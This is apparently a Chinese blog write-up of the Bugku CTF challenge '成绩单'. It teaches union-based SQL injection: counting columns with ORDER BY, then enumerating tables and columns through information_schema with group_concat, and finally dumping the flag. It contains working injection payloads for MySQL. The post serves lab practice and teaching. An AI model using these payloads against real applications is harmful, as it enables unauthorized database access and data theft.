CTF之Bugku 成绩单

最新推荐文章于 2022-04-13 00:42:17 发布

InventorMAO

最新推荐文章于 2022-04-13 00:42:17 发布

阅读量263

点赞数

分类专栏： CTF

本文链接：https://blog.youkuaiyun.com/weixin_41607190/article/details/102905623

版权

CTF 专栏收录该内容

45 篇文章

订阅专栏

本文深入解析SQL注入原理，演示如何利用SQL注入获取数据库信息，包括数据库名称、表名及字段名，通过具体实例展示了group_concat(), database()等函数的使用方法。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

这道题很久之前就看到过了，现在才弄明白。。。
这么输入有回显
在这里插入图片描述

在这里插入图片描述
这么输入就没有了，为什么呢
当我们用查询语句

select * from emp
order by x

假如emp这个表的字段有10个，那么x的值就只能是1-10
如果超过10，就不回显
所以说明显示只有4列，并没有隐藏什么

接下来就是爆库、爆表、包字段了
在这里插入图片描述
数据库叫skctf_flag，database()函数可以返回当前的数据库名
然后爆表

' union select 1,group_concat(TABLE_NAME),3,4 from information_schema.TABLES 
where TABLE_SCHEMA='skctf_flag'#

在这里插入图片描述
解释一下，我们用的数据库除了我们存放的信息，还有数据库（mysql、oracle）自带的库，叫information_schema库，里面有一些自带的表，如上面用到的TABLES表，有两个字段，一个叫TABLE_NAME，一个叫TABLE_SCHEMA，分别存放表名和这个表所属的库。

group_concat()函数功能是把一列的内容全部输出，像我们爆表的时候就爆了两个还有个叫sc的表

详细可以看看这个博客写的东西
https://blog.youkuaiyun.com/kikajack/article/details/80065753

现在爆出表，叫fl4g，爆字段

' union select 1,group_concat(COLUMN_NAME),3,4 from information_schema.COLUMNS 
where TABLE_NAME='fl4g'#

在这里插入图片描述名字竟然一样。。爆数据

' union select 1,skctf_flag,3,4 from fl4g#

在这里插入图片描述
完结